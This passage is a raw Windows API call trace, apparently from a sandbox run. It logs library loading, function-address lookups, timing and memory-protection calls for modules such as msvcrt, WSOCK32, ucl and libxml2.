lpProcName="memset") returned 0x76b49790 [0119.321] GetProcAddress (hModule=0x76b40000, lpProcName="memcpy") returned 0x76b49910 [0119.321] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0119.321] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0119.321] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0119.321] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0119.321] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0119.321] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0119.321] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0119.321] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0119.321] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0119.322] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0119.322] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0119.322] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0119.322] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0119.322] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0119.322] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0119.322] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0119.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdafa0c | out: lpSystemTimeAsFileTime=0xdafa0c*(dwLowDateTime=0x9b96c560, dwHighDateTime=0x1d5ca1f)) [0119.322] GetCurrentProcessId () returned 0x141c [0119.322] GetCurrentThreadId () returned 0x1420 [0119.322] GetTickCount () returned 0x1165a60 [0119.322] QueryPerformanceCounter (in: lpPerformanceCount=0xdafa04 | out: lpPerformanceCount=0xdafa04*=26043210429) returned 1 [0119.322] malloc (_Size=0x80) returned 0x10b0f00 [0119.326] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0119.326] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0119.326] VirtualProtect (in: lpAddress=0x1000015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x2) returned 1 [0119.326] VirtualProtect (in: lpAddress=0x1000015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x4) returned 1 [0119.327] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0119.327] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0119.327] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0119.327] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0119.327] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0119.327] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0119.327] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0119.327] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0119.327] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0119.327] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0119.327] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0119.327] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0119.328] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0119.328] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0119.328] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0119.328] GetModuleHandleA (lpModuleName="posh-0.dll") returned 0x73f00000 [0119.328] GetProcAddress (hModule=0x73f00000, lpProcName="POSH_SwapU32") returned 0x73f01012 [0119.328] GetModuleHandleA (lpModuleName="ucl.dll") returned 0x120000 [0119.328] GetProcAddress (hModule=0x120000, lpProcName="ucl_crc32") returned 0x12663c [0119.328] GetProcAddress (hModule=0x120000, lpProcName="ucl_nrv2d_99_compress") returned 0x122c6b [0119.328] GetProcAddress (hModule=0x120000, lpProcName="__ucl_init2") returned 0x126a5e [0119.328] GetProcAddress (hModule=0x120000, lpProcName="ucl_nrv2d_decompress_8") returned 0x123067 [0119.328] GetModuleHandleA (lpModuleName="WS2_32.dll") returned 0x75360000 [0119.328] GetProcAddress (hModule=0x75360000, lpProcName=0x8) returned 0x75362d57 [0119.328] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x76b40000 [0119.328] GetProcAddress (hModule=0x76b40000, lpProcName="_iob") returned 0x76be2900 [0119.329] GetProcAddress (hModule=0x76b40000, lpProcName="calloc") returned 0x76b4c456 [0119.329] GetProcAddress (hModule=0x76b40000, lpProcName="memcpy") returned 0x76b49910 [0119.329] GetProcAddress (hModule=0x76b40000, lpProcName="memset") returned 0x76b49790 [0119.329] GetProcAddress (hModule=0x76b40000, lpProcName="tolower") returned 0x76b4c4f0 [0119.329] GetProcAddress (hModule=0x76b40000, lpProcName="memmove") returned 0x76b49e5a [0119.329] GetProcAddress (hModule=0x76b40000, lpProcName="pow") returned 0x76b6608f [0119.329] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0119.329] GetProcAddress (hModule=0x76b40000, lpProcName="srand") returned 0x76b4f757 [0119.329] GetProcAddress (hModule=0x76b40000, lpProcName="time") returned 0x76b4f708 [0119.329] GetProcAddress (hModule=0x76b40000, lpProcName="fread") returned 0x76b5f3c8 [0119.329] GetProcAddress (hModule=0x76b40000, lpProcName="ftell") returned 0x76b622ea [0119.329] GetProcAddress (hModule=0x76b40000, lpProcName="fclose") returned 0x76b53d79 [0119.329] GetProcAddress (hModule=0x76b40000, lpProcName="fseek") returned 0x76b5f606 [0119.330] GetProcAddress (hModule=0x76b40000, lpProcName="fwrite") returned 0x76b576ac [0119.330] GetProcAddress (hModule=0x76b40000, lpProcName="fgets") returned 0x76b64589 [0119.330] GetProcAddress (hModule=0x76b40000, lpProcName="_snprintf") returned 0x76b6fa7c [0119.330] GetProcAddress (hModule=0x76b40000, lpProcName="floor") returned 0x76b4f95f [0119.330] GetProcAddress (hModule=0x76b40000, lpProcName="rand") returned 0x76b4c070 [0119.330] GetProcAddress (hModule=0x76b40000, lpProcName="_ftime") returned 0x76b687c3 [0119.330] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0119.330] GetProcAddress (hModule=0x76b40000, lpProcName="sscanf") returned 0x76b5ed4c [0119.330] GetProcAddress (hModule=0x76b40000, lpProcName="strcspn") returned 0x76b5d099 [0119.330] GetProcAddress (hModule=0x76b40000, lpProcName="strcat") returned 0x76b58d75 [0119.330] GetProcAddress (hModule=0x76b40000, lpProcName="sprintf") returned 0x76b5d354 [0119.330] GetProcAddress (hModule=0x76b40000, lpProcName="strlen") returned 0x76b543d3 [0119.330] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0119.330] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0119.331] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0119.331] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0119.331] GetProcAddress (hModule=0x76b40000, lpProcName="strncmp") returned 0x76b4b443 [0119.331] GetProcAddress (hModule=0x76b40000, lpProcName="fopen") returned 0x76b5b2c4 [0119.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdafa0c | out: lpSystemTimeAsFileTime=0xdafa0c*(dwLowDateTime=0x9b9926c0, dwHighDateTime=0x1d5ca1f)) [0119.331] GetCurrentProcessId () returned 0x141c [0119.331] GetCurrentThreadId () returned 0x1420 [0119.331] GetTickCount () returned 0x1165a70 [0119.331] QueryPerformanceCounter (in: lpPerformanceCount=0xdafa04 | out: lpPerformanceCount=0xdafa04*=26044086646) returned 1 [0119.331] malloc (_Size=0x80) returned 0x10b1098 [0119.331] GetVersion () returned 0x1db10106 [0119.488] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0119.488] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0119.488] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0119.488] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0119.488] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0119.488] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0119.488] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0119.488] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0119.489] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0119.489] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0119.489] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0119.489] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0119.489] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersionExA") returned 0x76e23519 [0119.489] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0119.489] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0119.489] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameA") returned 0x76e214b1 [0119.489] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleA") returned 0x76e21245 [0119.489] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibrary") returned 0x76e234c8 [0119.489] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0119.489] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryA") returned 0x76e249d7 [0119.489] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryA") returned 0x76e3b66c [0119.489] GetProcAddress (hModule=0x76e10000, lpProcName="CreateMutexA") returned 0x76e24c6b [0119.490] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0119.490] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0119.490] GetProcAddress (hModule=0x76e10000, lpProcName="ReleaseMutex") returned 0x76e2111e [0119.490] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSection") returned 0x77352c42 [0119.490] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0119.490] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0119.490] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0119.490] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0119.490] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0119.490] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0119.490] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0119.490] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0119.490] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedIncrement") returned 0x76e21400 [0119.491] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0119.491] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringA") returned 0x76e4b2b7 [0119.491] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x76b40000 [0119.491] GetProcAddress (hModule=0x76b40000, lpProcName="fopen") returned 0x76b5b2c4 [0119.491] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0119.491] GetProcAddress (hModule=0x76b40000, lpProcName="sscanf") returned 0x76b5ed4c [0119.491] GetProcAddress (hModule=0x76b40000, lpProcName="strcmp") returned 0x76b58b11 [0119.491] GetProcAddress (hModule=0x76b40000, lpProcName="toupper") returned 0x76b4f7fa [0119.491] GetProcAddress (hModule=0x76b40000, lpProcName="memmove") returned 0x76b49e5a [0119.491] GetProcAddress (hModule=0x76b40000, lpProcName="vfprintf") returned 0x76bb7408 [0119.491] GetProcAddress (hModule=0x76b40000, lpProcName="_vsnprintf") returned 0x76b4d1a8 [0119.491] GetProcAddress (hModule=0x76b40000, lpProcName="fclose") returned 0x76b53d79 [0119.491] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0119.491] GetProcAddress (hModule=0x76b40000, lpProcName="strcat") returned 0x76b58d75 [0119.492] GetProcAddress (hModule=0x76b40000, lpProcName="strcpy") returned 0x76b58d6e [0119.492] GetProcAddress (hModule=0x76b40000, lpProcName="strchr") returned 0x76b4dbeb [0119.492] GetProcAddress (hModule=0x76b40000, lpProcName="strncmp") returned 0x76b4b443 [0119.492] GetProcAddress (hModule=0x76b40000, lpProcName="calloc") returned 0x76b4c456 [0119.492] GetProcAddress (hModule=0x76b40000, lpProcName="strtoul") returned 0x76b5012e [0119.492] GetProcAddress (hModule=0x76b40000, lpProcName="strtol") returned 0x76b6e8f0 [0119.492] GetProcAddress (hModule=0x76b40000, lpProcName="_errno") returned 0x76b4a5b8 [0119.492] GetProcAddress (hModule=0x76b40000, lpProcName="fwrite") returned 0x76b576ac [0119.492] GetProcAddress (hModule=0x76b40000, lpProcName="_wfopen") returned 0x76b5f3ac [0119.492] GetProcAddress (hModule=0x76b40000, lpProcName="_wstat") returned 0x76b94cc9 [0119.492] GetProcAddress (hModule=0x76b40000, lpProcName="fread") returned 0x76b5f3c8 [0119.492] GetProcAddress (hModule=0x76b40000, lpProcName="ferror") returned 0x76b54947 [0119.492] GetProcAddress (hModule=0x76b40000, lpProcName="fflush") returned 0x76b54142 [0119.492] GetProcAddress (hModule=0x76b40000, lpProcName="printf") returned 0x76b5c5b9 [0119.493] GetProcAddress (hModule=0x76b40000, lpProcName="floor") returned 0x76b4f95f [0119.493] GetProcAddress (hModule=0x76b40000, lpProcName="fabs") returned 0x76b6eaa8 [0119.493] GetProcAddress (hModule=0x76b40000, lpProcName="labs") returned 0x76b6eb1e [0119.493] GetProcAddress (hModule=0x76b40000, lpProcName="_isnan") returned 0x76b49e12 [0119.493] GetProcAddress (hModule=0x76b40000, lpProcName="_fpclass") returned 0x76b6e255 [0119.493] GetProcAddress (hModule=0x76b40000, lpProcName="log10") returned 0x76b70d69 [0119.493] GetProcAddress (hModule=0x76b40000, lpProcName="pow") returned 0x76b6608f [0119.493] GetProcAddress (hModule=0x76b40000, lpProcName="fmod") returned 0x76b687b7 [0119.493] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0119.493] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0119.493] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0119.493] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0119.493] GetProcAddress (hModule=0x76b40000, lpProcName="isleadbyte") returned 0x76b4f76e [0119.493] GetProcAddress (hModule=0x76b40000, lpProcName="_itoa") returned 0x76b64218 [0119.494] GetProcAddress (hModule=0x76b40000, lpProcName="wctomb") returned 0x76b922b7 [0119.494] GetProcAddress (hModule=0x76b40000, lpProcName="__badioinfo") returned 0x76be3210 [0119.494] GetProcAddress (hModule=0x76b40000, lpProcName="__pioinfo") returned 0x76be0500 [0119.494] GetProcAddress (hModule=0x76b40000, lpProcName="_read") returned 0x76b5c245 [0119.494] GetProcAddress (hModule=0x76b40000, lpProcName="_fileno") returned 0x76b4ac15 [0119.494] GetProcAddress (hModule=0x76b40000, lpProcName="_lseeki64") returned 0x76b54303 [0119.494] GetProcAddress (hModule=0x76b40000, lpProcName="_write") returned 0x76b54078 [0119.494] GetProcAddress (hModule=0x76b40000, lpProcName="_isatty") returned 0x76b4f383 [0119.494] GetProcAddress (hModule=0x76b40000, lpProcName="fputc") returned 0x76bb87c3 [0119.494] GetProcAddress (hModule=0x76b40000, lpProcName="_iob") returned 0x76be2900 [0119.494] GetProcAddress (hModule=0x76b40000, lpProcName="strlen") returned 0x76b543d3 [0119.494] GetProcAddress (hModule=0x76b40000, lpProcName="_snprintf") returned 0x76b6fa7c [0119.494] GetProcAddress (hModule=0x76b40000, lpProcName="strncpy") returned 0x76b508a9 [0119.495] GetProcAddress (hModule=0x76b40000, lpProcName="getenv") returned 0x76b5a419 [0119.495] GetProcAddress (hModule=0x76b40000, lpProcName="_stat") returned 0x76b59857 [0119.495] GetProcAddress (hModule=0x76b40000, lpProcName="fprintf") returned 0x76b53e00 [0119.495] GetProcAddress (hModule=0x76b40000, lpProcName="memset") returned 0x76b49790 [0119.495] GetProcAddress (hModule=0x76b40000, lpProcName="memcpy") returned 0x76b49910 [0119.495] GetProcAddress (hModule=0x76b40000, lpProcName="realloc") returned 0x76b4b10d [0119.495] GetProcAddress (hModule=0x76b40000, lpProcName="_close") returned 0x76b53ae2 [0119.495] GetProcAddress (hModule=0x76b40000, lpProcName="_open") returned 0x76b67e48 [0119.495] GetProcAddress (hModule=0x76b40000, lpProcName="_getcwd") returned 0x76b6efff [0119.495] LoadLibraryA (lpLibFileName="WSOCK32.dll") returned 0x73c50000 [0119.495] GetProcAddress (hModule=0x73c50000, lpProcName=0xc) returned 0x75363084 [0119.495] GetProcAddress (hModule=0x73c50000, lpProcName=0x97) returned 0x75366a8a [0119.495] GetProcAddress (hModule=0x73c50000, lpProcName=0x7) returned 0x73c5186e [0119.495] GetProcAddress (hModule=0x73c50000, lpProcName=0x70) returned 0x753637d9 [0119.496] GetProcAddress (hModule=0x73c50000, lpProcName=0x38) returned 0x75376d62 [0119.496] GetProcAddress (hModule=0x73c50000, lpProcName=0xf) returned 0x75362d8b [0119.496] GetProcAddress (hModule=0x73c50000, lpProcName=0x33) returned 0x75376c01 [0119.496] GetProcAddress (hModule=0x73c50000, lpProcName=0x37) returned 0x75376ef3 [0119.496] GetProcAddress (hModule=0x73c50000, lpProcName=0x8) returned 0x75362d57 [0119.496] GetProcAddress (hModule=0x73c50000, lpProcName=0xb) returned 0x7536b131 [0119.496] GetProcAddress (hModule=0x73c50000, lpProcName=0x6f) returned 0x753637ad [0119.496] GetProcAddress (hModule=0x73c50000, lpProcName=0xa) returned 0x7536311b [0119.496] GetProcAddress (hModule=0x73c50000, lpProcName=0x73) returned 0x75363ab2 [0119.496] GetProcAddress (hModule=0x73c50000, lpProcName=0x6) returned 0x753630af [0119.496] GetProcAddress (hModule=0x73c50000, lpProcName=0x2) returned 0x75364582 [0119.496] GetProcAddress (hModule=0x73c50000, lpProcName=0xd) returned 0x7536b001 [0119.496] GetProcAddress (hModule=0x73c50000, lpProcName=0x34) returned 0x75377673 [0119.496] GetProcAddress (hModule=0x73c50000, lpProcName=0x9) returned 0x75362d8b [0119.497] GetProcAddress (hModule=0x73c50000, lpProcName=0x17) returned 0x75363eb8 [0119.497] GetProcAddress (hModule=0x73c50000, lpProcName=0x4) returned 0x75366bdd [0119.497] GetProcAddress (hModule=0x73c50000, lpProcName=0x13) returned 0x75366f01 [0119.497] GetProcAddress (hModule=0x73c50000, lpProcName=0x12) returned 0x75366989 [0119.497] GetProcAddress (hModule=0x73c50000, lpProcName=0x10) returned 0x73c517a8 [0119.497] GetProcAddress (hModule=0x73c50000, lpProcName=0x3) returned 0x75363918 [0119.497] GetProcAddress (hModule=0x73c50000, lpProcName=0x74) returned 0x75363c5f [0119.497] VirtualProtect (in: lpAddress=0xdb0000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x2) returned 1 [0119.497] VirtualProtect (in: lpAddress=0xdb0000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x4) returned 1 [0119.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdafa0c | out: lpSystemTimeAsFileTime=0xdafa0c*(dwLowDateTime=0x9bb0f480, dwHighDateTime=0x1d5ca1f)) [0119.497] GetCurrentProcessId () returned 0x141c [0119.497] GetCurrentThreadId () returned 0x1420 [0119.497] GetTickCount () returned 0x1165b0c [0119.498] QueryPerformanceCounter (in: lpPerformanceCount=0xdafa04 | out: lpPerformanceCount=0xdafa04*=26060784966) returned 1 [0119.498] malloc (_Size=0x80) returned 0x10b11a8 [0119.498] GetVersion () returned 0x1db10106 [0119.498] malloc (_Size=0x80) returned 0x10b1230 [0119.502] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0119.502] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0119.502] VirtualProtect (in: lpAddress=0x14015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x2) returned 1 [0119.502] VirtualProtect (in: lpAddress=0x14015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x4) returned 1 [0119.502] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0119.502] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0119.502] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0119.502] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0119.502] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0119.503] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0119.503] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0119.503] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0119.503] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0119.503] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0119.503] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0119.503] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0119.503] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0119.503] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringA") returned 0x76e4b2b7 [0119.503] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0119.503] GetModuleHandleA (lpModuleName="libxml2.dll") returned 0xdb0000 [0119.503] GetProcAddress (hModule=0xdb0000, lpProcName="xmlNewNs") returned 0xdf1f85 [0119.503] GetProcAddress (hModule=0xdb0000, lpProcName="xmlNewDoc") returned 0xdefa02 [0119.504] GetProcAddress (hModule=0xdb0000, lpProcName="xmlSaveToBuffer") returned 0xe0f396 [0119.504] GetProcAddress (hModule=0xdb0000, lpProcName="xmlBufferCreate") returned 0xdf138d [0119.504] GetProcAddress (hModule=0xdb0000, lpProcName="xmlCleanupParser") returned 0xdce929 [0119.504] GetProcAddress (hModule=0xdb0000, lpProcName="xmlFreeMutex") returned 0xdee346 [0119.504] GetProcAddress (hModule=0xdb0000, lpProcName="xmlNewMutex") returned 0xdee323 [0119.504] GetProcAddress (hModule=0xdb0000, lpProcName="xmlInitParser") returned 0xdce8b1 [0119.504] GetProcAddress (hModule=0xdb0000, lpProcName="xmlStrcmp") returned 0xe40d2f [0119.504] GetProcAddress (hModule=0xdb0000, lpProcName="xmlFree") returned 0xe732a0 [0119.504] GetProcAddress (hModule=0xdb0000, lpProcName="xmlNodeGetContent") returned 0xdf29c0 [0119.504] GetProcAddress (hModule=0xdb0000, lpProcName="xmlGetProp") returned 0xdf11e4 [0119.504] GetProcAddress (hModule=0xdb0000, lpProcName="xmlMutexUnlock") returned 0xdee374 [0119.504] GetProcAddress (hModule=0xdb0000, lpProcName="xmlSearchNsByHref") returned 0xdf0d74 [0119.504] GetProcAddress (hModule=0xdb0000, lpProcName="xmlDocGetRootElement") returned 0xdf09b2 [0119.505] GetProcAddress (hModule=0xdb0000, lpProcName="xmlParseMemory") returned 0xddc0b0 [0119.505] GetProcAddress (hModule=0xdb0000, lpProcName="xmlMutexLock") returned 0xdee361 [0119.505] GetProcAddress (hModule=0xdb0000, lpProcName="xmlFreeNode") returned 0xdf2397 [0119.505] GetProcAddress (hModule=0xdb0000, lpProcName="xmlNodeSetContent") returned 0xdf5f09 [0119.505] GetProcAddress (hModule=0xdb0000, lpProcName="xmlNewProp") returned 0xdf223a [0119.505] GetProcAddress (hModule=0xdb0000, lpProcName="xmlNewNode") returned 0xdefde1 [0119.505] GetProcAddress (hModule=0xdb0000, lpProcName="xmlFreeDoc") returned 0xdf47fc [0119.505] GetProcAddress (hModule=0xdb0000, lpProcName="xmlBufferFree") returned 0xdf14cf [0119.505] GetProcAddress (hModule=0xdb0000, lpProcName="xmlSaveClose") returned 0xe0f457 [0119.505] GetProcAddress (hModule=0xdb0000, lpProcName="xmlFreeNs") returned 0xdef77a [0119.505] GetProcAddress (hModule=0xdb0000, lpProcName="xmlBufferContent") returned 0xdf169c [0119.505] GetProcAddress (hModule=0xdb0000, lpProcName="xmlBufferLength") returned 0xdf16a8 [0119.505] GetProcAddress (hModule=0xdb0000, lpProcName="xmlSaveFlush") returned 0xe0f43c [0119.505] GetProcAddress (hModule=0xdb0000, lpProcName="xmlSaveDoc") returned 0xe10b54 [0119.506] GetProcAddress (hModule=0xdb0000, lpProcName="xmlAddChild") returned 0xdf494c [0119.506] GetProcAddress (hModule=0xdb0000, lpProcName="xmlReconciliateNs") returned 0xdf2b66 [0119.506] GetModuleHandleA (lpModuleName="tucl-1.dll") returned 0x73c40000 [0119.506] GetProcAddress (hModule=0x73c40000, lpProcName="TcLog") returned 0x73c4102d [0119.506] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x76b40000 [0119.506] GetProcAddress (hModule=0x76b40000, lpProcName="strchr") returned 0x76b4dbeb [0119.506] GetProcAddress (hModule=0x76b40000, lpProcName="strcmp") returned 0x76b58b11 [0119.506] GetProcAddress (hModule=0x76b40000, lpProcName="strcat") returned 0x76b58d75 [0119.506] GetProcAddress (hModule=0x76b40000, lpProcName="sprintf") returned 0x76b5d354 [0119.506] GetProcAddress (hModule=0x76b40000, lpProcName="calloc") returned 0x76b4c456 [0119.506] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0119.506] GetProcAddress (hModule=0x76b40000, lpProcName="strlen") returned 0x76b543d3 [0119.506] GetProcAddress (hModule=0x76b40000, lpProcName="strncpy") returned 0x76b508a9 [0119.506] GetProcAddress (hModule=0x76b40000, lpProcName="tolower") returned 0x76b4c4f0 [0119.507] GetProcAddress (hModule=0x76b40000, lpProcName="memset") returned 0x76b49790 [0119.507] GetProcAddress (hModule=0x76b40000, lpProcName="strspn") returned 0x76b6869c [0119.507] GetProcAddress (hModule=0x76b40000, lpProcName="_access") returned 0x76b5a7ed [0119.507] GetProcAddress (hModule=0x76b40000, lpProcName="memmove") returned 0x76b49e5a [0119.507] GetProcAddress (hModule=0x76b40000, lpProcName="realloc") returned 0x76b4b10d [0119.507] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0119.507] GetProcAddress (hModule=0x76b40000, lpProcName="strncmp") returned 0x76b4b443 [0119.507] GetProcAddress (hModule=0x76b40000, lpProcName="strtol") returned 0x76b6e8f0 [0119.507] GetProcAddress (hModule=0x76b40000, lpProcName="isspace") returned 0x76b4c395 [0119.507] GetProcAddress (hModule=0x76b40000, lpProcName="strtoul") returned 0x76b5012e [0119.507] GetProcAddress (hModule=0x76b40000, lpProcName="strcpy") returned 0x76b58d6e [0119.507] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0119.507] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0119.508] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0119.508] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0119.508] GetProcAddress (hModule=0x76b40000, lpProcName="_errno") returned 0x76b4a5b8 [0119.508] GetProcAddress (hModule=0x76b40000, lpProcName="strcspn") returned 0x76b5d099 [0119.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdafa0c | out: lpSystemTimeAsFileTime=0xdafa0c*(dwLowDateTime=0x9bb355e0, 